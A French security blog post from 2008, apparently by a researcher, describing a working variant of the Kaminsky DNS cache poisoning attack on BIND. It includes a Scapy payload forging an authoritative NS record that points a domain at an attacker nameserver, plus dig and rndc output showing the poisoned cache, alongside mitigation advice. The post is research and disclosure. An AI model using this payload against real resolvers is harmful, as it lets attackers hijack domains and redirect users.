DNS encore, peut-être une solution...
Par Sid,
mercredi 23 juillet 2008 à 13:28 :: (In)Sécurité
:: lu 5100 fois :: #287
:: rss
:: atom
Read it in english with Google

e décrivais hier les propositions de Halvar Flake et Thomas Ptacek. Et vous faisais également part de mes interrogations sur leur fonctionnement. En effet, je me suis quand même dit que tout ça méritait quelques vérifications. J'ai donc monté rapidement un serveur DNS récursif pour l'occasion. Il s'agit d'un BIND 9.5.0, provenant du paquet fournit par la Sid de Debian. Il est configuré sans forwarder et tape donc directement les serveurs racines.
Et se faisant, je ne suis pas parvenu à faire fonctionner les attaques proposées, et en particulier celle de Ptacek. Loin de baisser les bras, je me suis mis à essayer des variantes, basées d'une part sur l'observation de requêtes spécifiques et la lecture d'un peu de documentation, en particulier la RFC 2181. Et finalement, c'est passé...
Update (24/07/2009 - 07:48) : HD.Moore et I)ruid me confirment que ma méthode fonctionne, et nettement mieux que leur premier plugin[1] pour Metasploit. Du coup, ils en ont écrit un nouveau qui implémente cette attaque.
Pour résumer un peu. La réponse spoofée victorieuse doit passer un enregistrement de type NS en section Authority vers un nom arbitraire ainsi que son enregistrement A en section Additional. À partir de là, vous allez avoir plusieurs cas.
- Si votre réponse n'est pas autoritaire, seul l'enregistrement A sera caché, à condition que le nom appartienne au domaine que vous voulez corrompre. C'est l'effet in-bailiwick. Ça, c'est typiquement le premier exploit Metasploit publié hier et pointé par Jipe en commentaire.
- Si vous positionnez le flag AA, c'est à dire si la réponse est autoritaire, alors vous allez très probablement mettre à jour l'enregistrement NS du domaine dans le cache visé, avec deux légères variantes.
- Si le nom est complètement arbitraire, seul le NS change. C'est ce que je montre plus bas.
- Si par contre le nom appartient au domaine corrompu, vous bypassez aussi le in-bailiwick et l'enregistrement A se retrouve également caché.
Globalement, dans les deux derniers cas, vous obtenez la même chose, c'est à dire la main sur le domaine vis-à-vis du cache DNS visé. La différence dans le cache est cosmétique.
Pour ce qui est des protections. D'abord, patchez. C'est le minimum vital. Même si la randomisation du port source ne résoud pas le fond du problème, c'est une mesure qui aide énormément. Ensuite, appliquez les best practices quand à la mise en œuvre de vos serveurs DNS[2] : séparation des fonctions récursives et autoritaires, limitation maximale de l'accès à la fonction récursive, architecture prenant en compte le spoofing, en particulier venant de vos clients, etc. Autant de choses qui vont compliquer la réalisation de l'attaque. De manière plus définitive, on pourrait aussi penser à désactiver l'utilisation du cache, mais je n'ai pas regardé si c'était faisable. C'est cependant un poil violent comme compromis, en particulier en terme de charge pour l'infrastructure...
Vous pouvez également, comme certains le conseillent, vous appuyer sur une infrastructure externe dûment patchée comme OpenDNS, voire des services payants. Pour cela, il vous suffit de configurer votre serveur en "forwarder" vers les serveurs du fournisseur retenu. C'est à mon avis la meilleure solution qui se présente aujourd'hui. Certes, quelqu'un pourra se rendre compte que vous utiliser une telle infrastructure et tenter de lancer son attaque entre vous et elle. C'est pourquoi cela ne dispense absolument pas de patcher ses serveurs !
À noter aussi, le travail de Jose Avila sur l'audit des caches DNS et l'outil qui va avec, lequel supporterait BIND et le DNS Microsoft. Et puis enfin, pour tester les serveurs dont on dépend, en plus de l'outil en ligne fourni par Kaminsky, vous en trouverez un nettement mieux au DNS-OARC.
Pour ce qui est de mon PoC, je vous fais grâce de la confiture. Voici le payload DNS[3] qui permet de faire pointer le NS de victime.com vers ns.malicieux.net dans le cache de Bob[4] :
########################################
#
# Copyright (C) 2008 Cedric Blancher <sid@rstack.org>
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public
# License version 2 as published by the Free Software
# Foundation; version 2.
#
########################################
[...]
payload = DNS(
id = TXID,
qr = 1,
aa = 1,
qd = QD,
an = DNSRR(
rrname = HOST + "." + DOMAIN
type = "A",
ttl = 86400,
rdata = "9.8.7.6"),
ns = DNSRR(
rrname = DOMAIN,
type = "NS",
ttl = 86400,
rdata = "ns.malicieux.net"),
ar = DNSRR(
rrname = "ns.malicieux.net",
type = "A",
ttl = 86400,
rdata = "9.8.7.6"))
Voilà qui devrait répondre aux questions métaphysiques qui tiraillent Vanhu.
Pour commencer, voyons un peu les différentes étapes des attaques proposées, en particulier celle de Ptacek. Il s'agit d'envoyer une avalanche de requêtes sur le serveur cible, ns.bob.com, pour des noms qui n'existent pas dans le domaine domaine victime.com. Supposons que nous voulions faire résoudre aaaaaa.victime.com à ns.bob.com. Ce serveur va d'abord demander à un serveur racine qui va lui retourner les serveurs en charge du TLD .com. Il va alors reposer la question à l'un d'entre eux, lequel va lui retourner les informations nécessaires à la localisation du serveur DNS en charge du domaine victime.com. Regardons ce que nous retourne un de ces serveurs.
~$ dig @192.35.51.30 aaaaaa.victime.com [...] ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19516 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ;; ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;aaaaaa.victime.com. IN A ;; AUTHORITY SECTION: victime.com. 172800 IN NS ns.victime.com. ;; ADDITIONAL SECTION: ns.victime.com. 172800 IN A 1.2.3.4 [...]
À chaque requête, ns.bob.com cache les informations reçues, et en particulier, il va cacher que le serveur en charge de victim.com est ns.victim.com et que son IP est 1.2.3.4. Il va ensuite demander le nom aaaaaa.victim.coim à ce serveur qui va lui répondre qu'il n'existe pas. Cette réponse est également cachée. On peut observer tout ceci sur le serveur BIND, en utilisant l'outil "rndc" qui permet la gestion en live d'un serveur BIND. Nous allons l'utiliser également pour vioder le cache avant toute opération.
~$ sudo rndc -s 127.0.0.1 flush
Ensuite, nous pouvons commencer à interroger le serveur.
~$ dig @127.0.0.1 aaaaaa.victime.com [...]
Maintenant que c'est fait, allons examiner le contenu du cache.
~$ sudo rndc -s 127.0.0.1 dumpdb -cache ~$ less /var/cache/bind/named_dump.db ; ; Start view _default ; [...] ; glue victime.com. 172798 NS ns.victim.com. ; glue ns.victime.com. 172798 A 1.2.3.4 ; authauthority aaaaaa.victime.com. 298 \-ANY ;-$NXDOMAIN [...]
On voit bien les informations obtenues. En particulier, on constate que les informations d'autorité du domaine victim.com sont précédées du mot "glue" qui signifie qu'elles ont été obtenues de sources non-autoritaires, en l'occurence un serveur racine de .com, en accompagement d'une réponse[5]. C'est à peu de chose près l'état dans lequel va se trouver le cache lorsque nous arriverons à faire passer une réponse spoofée. Supposons qu'elle se produise pour bbbbbb.victime.com.
Que voulons-nous faire ? On pourrait ajouter une entrée pour www.victime.com là-dedans. Ce qui veut dire passer un enregistrement A dans la réponse, à côté de bbbbbb.victime.com. On pourrait le mettre en Additional RR. Notre réponse aura donc un Answer RR donnant une IP arbitraire à bbbbbb.victime.com et un Additional RR pointant www.victime.com sur 9.8.7.6. Malheureusement, je n'arrive pas à faire fonctionner cette technique, l'enregistrement est systématiquement ignoré. Soit en rusant un peu en Answer RR, en spécifiant que bbbbbb.victime.com demandé est un alias de www.victime.com et que ce dernier nom a pour IP 9.8.7.6. Ceci nous fait une réponse avec deux Answer RR, un CNAMe et un A, ce qui est tout à fait valide. Seulement voilà, ça ne marche pas non plus. Le serveur va bien accepter le CNAME, mais va envoyer une requête pour obtenir l'enregistrement A de www.victime.com. Et comme la corruption n'est pas encore faite, ça tombe à l'eau.
Maintenant, on pourrait vouloir faire quelque chose de plus puissant, à savoir rediriger le serveur DNS en charge du domaine, comme le suggère finalement Kaminsky. Pour avoir une idée des leviers dont nous disposons, regardons de plus près une requête valide sur www.victime.com.
~$ dig @ns.victime.com www.victime.com [...] ;; QUESTION SECTION: ;www.victime.com. IN A ;; ANSWER SECTION: www.victime.com. 10800 IN A 1.2.3.4 ;; AUTHORITY SECTION: victime.com. 10800 IN NS ns.victime.com. ;; ADDITIONAL SECTION: ns.victime.com. 172800 IN A 1.2.3.4 [...]
On peut donc agir soit sur l'enregistrement A placé en Additional RR, soit sur le NS placé en Authority RR. La première solution ne marchera pas, comme précédemment. Par contre, pour la seconde, ça fonctionne. C'est à dire que si vous générez une réponse qui fera pointer le champ NS de la section autoritaire vers par exemple ns.malicieux.net, vous allez mettre à jour le cache. Si nous forgeons ainsi la réponse à bbbbbb.victime.com, nous allons recevoir la réponse suivante :
~$ dig @127.0.0.1 bbbbbb.victime.com [...] ;; QUESTION SECTION: ;bbbbbb.victime.com. IN A ;; ANSWER SECTION: bbbbbbbb.victime.com. 86400 IN A 9.8.7.6 ;; AUTHORITY SECTION: victime.com. 86400 IN NS ns.malicieux.net.
Très encourageant. Et si nous regardons le résultat dans le cache, c'est confirmé.
~$ sudo rndc -s 127.0.0.1 dumpdb -cache ~$ less /var/cache/bind/named_dump.db ; ; Start view _default ; [...] ; authauthority victime.com. 86218 NS ns.malicieux.net. ; glue ns.victime.com. 171137 A 1.2.3.4 ; authanswer aaaaaa.victime.com. 298 \-ANY ;-$NXDOMAIN [...] ; authanswer bbbbbb.victime.com. 86218 A 9.8.7.6
Nous voyons que même si l'enregistrement correspondant à ns.victime.com pointe toujours sur la bonne IP, ce n'est plus lui qui est référencé comme serveur DNS en charge du domaine victime.com. C'est ns.malicieux.net. En plus, cette information n'est plus en "glue", mais en "authauthority". Et c'est là que se situe le truc. Si on lit la RFC 2181, section 5.4.1, on peut voir qu'une hiérarchie de confiance existe quant aux données qu'un serveur peut récupérer à travers les requêtes DNS qu'il émet en fonction de leur provenance. Et surtout qu'il existe la possibilité d'écraser des données par d'autres, de confiance plus forte.
5.4.1. Ranking data
When considering whether to accept an RRSet in a reply, or
retain an RRSet already in its cache instead, a server
should consider the relative likely trustworthiness of the
various data. An authoritative answer from a reply should
replace cached data that had been obtained from additional
information in an earlier reply. However additional
information from a reply will be ignored if the cache
contains data from an authoritative answer or a zone file.
The accuracy of data available is assumed from its source.
Trustworthiness shall be, in order from most to least:
+ Data from a primary zone file, other than glue data,
+ Data from a zone transfer, other than glue,
+ The authoritative data included in the answer section
of an authoritative reply.
+ Data from the authority section of an authoritative
answer,
+ Glue from a primary zone, or glue from a zone transfer,
+ Data from the answer section of a non-authoritative
answer, and non-authoritative data from the answer
section of authoritative answers,
+ Additional information from an authoritative answer,
Data from the authority section of a non-authoritative
answer, Additional information from non-authoritative
answers.
Dans notre cas, le premier enregistrement NS pour victime.com caché par ns.bob.com venait d'un serveur en charge de .com. Cette réponse n'était pas autoritaire. On se trouve donc face à des données décrites par le septième point[6]. Avec notre réponse, nous fournissons nos données en spoofant le serveur autoritaire sur la zone, ns.victime.com. Nous sommes donc dans le quatrième cas[7], et nos données sont considérées comme de confiance par rapport aux anciennes, entraînant la mise à jour du cache. Emballez, c'est pesé.
Vérifions un coup :
~$ dig @127.0.0.1 -t NS victime.com [...] ;; QUESTION SECTION: ;victime.com. IN NS ;; ANSWER SECTION: victime.com. 85921 IN NS ns.malicieux.net.
Tadaaaaa ! \o/
Si je dis que c'est peut-être la solution, c'est parce que j'ai pu me tromper. Soit en implémentant les attaques de Flake et Ptacek, soit dans la configuration de mon banc de test, ou encore quelque obscur effet démo qui ruinerait tout. Ceci est donc à prendre avec des pincettes, même si je n'ai pas l'impression d'avoir fait une monumentale bourde quelque part là-dedans. Je vous laisse juger, et essayer surtout. Parce qu'il ne faut pas croire tout ce qu'on lit sur Internet ;)
Et un grand merci à Phil pour m'avoir aider à faire marcher mon spoofer, Scapy based, bien évidemment :) Et puis Halvar Flake et Thomas Ptacek pour la voie qu'ils ont tracée. Presque jusqu'au bout...
Notes
[1] Il ne leur manquait pas grand chose, comme vous pourrez le voir si vous diffez les deux plugins.
[2] Vous ne l'avez pas déjà fait depuis le temps ?!...
[3] Maintenant que c'est dans Metasploit, qui a encore besoin de lire du code ? <cc>
[4] So long pour le Pago et le mars :)
[5] Ici la réponse à la requête sur aaaaaa.victime.com.
[6] Data from the authority section of a non-authoritative answer.
[7] Data from the authority section of an authoritative answer.
Commentaires
1. Le mercredi 23 juillet 2008 à 15:52, par Yom
Réponse de Sid
2. Le mercredi 23 juillet 2008 à 15:57, par jme
3. Le mercredi 23 juillet 2008 à 16:22, par Kevin
Réponse de Sid
4. Le mercredi 23 juillet 2008 à 16:23, par Yom
5. Le mercredi 23 juillet 2008 à 16:27, par Yom
6. Le mercredi 23 juillet 2008 à 16:51, par Kirikou
7. Le mercredi 23 juillet 2008 à 17:26, par Vanhu
Réponse de Sid
8. Le mercredi 23 juillet 2008 à 22:39, par Vinares
Réponse de Sid
9. Le mercredi 23 juillet 2008 à 23:32, par Jipe
Réponse de Sid
10. Le jeudi 24 juillet 2008 à 09:51, par Jipe
Réponse de Sid
11. Le jeudi 24 juillet 2008 à 10:50, par Nico
Réponse de Sid
12. Le jeudi 24 juillet 2008 à 10:54, par Kevin
Réponse de Sid
13. Le jeudi 24 juillet 2008 à 11:13, par Jipe
14. Le jeudi 24 juillet 2008 à 11:29, par trez
Réponse de Sid
15. Le jeudi 24 juillet 2008 à 15:47, par Kostya
16. Le jeudi 24 juillet 2008 à 15:56, par Robert
Réponse de Sid
17. Le jeudi 24 juillet 2008 à 17:45, par Romain
Réponse de Sid
18. Le jeudi 24 juillet 2008 à 18:04, par lux
Réponse de Sid
19. Le vendredi 25 juillet 2008 à 06:29, par fb
Réponse de Sid
20. Le vendredi 25 juillet 2008 à 08:59, par Yann
Réponse de Sid
21. Le vendredi 25 juillet 2008 à 10:37, par denis
Réponse de Sid
22. Le vendredi 25 juillet 2008 à 11:12, par dany5
Réponse de Sid
23. Le vendredi 25 juillet 2008 à 14:17, par funkinessflavor
Réponse de Sid
24. Le vendredi 25 juillet 2008 à 14:43, par funkinessflavor
Réponse de Sid
25. Le vendredi 25 juillet 2008 à 14:55, par funkinessflavor
Réponse de Sid
26. Le vendredi 25 juillet 2008 à 15:13, par funkinessflavor
27. Le vendredi 25 juillet 2008 à 17:22, par jj
28. Le samedi 26 juillet 2008 à 11:51, par Yom
29. Le samedi 26 juillet 2008 à 16:27, par funkinessflavor
30. Le dimanche 27 juillet 2008 à 14:39, par JF
Réponse de Sid
31. Le lundi 28 juillet 2008 à 08:28, par Yom
Réponse de Sid
32. Le lundi 28 juillet 2008 à 12:01, par Yom
Réponse de Sid
33. Le lundi 28 juillet 2008 à 13:21, par Yann
34. Le mardi 29 juillet 2008 à 10:43, par Ulysse
35. Le lundi 4 août 2008 à 17:23, par Pat
Réponse de Sid
36. Le lundi 25 août 2008 à 16:36, par Boss
Réponse de Sid
Ajouter un commentaire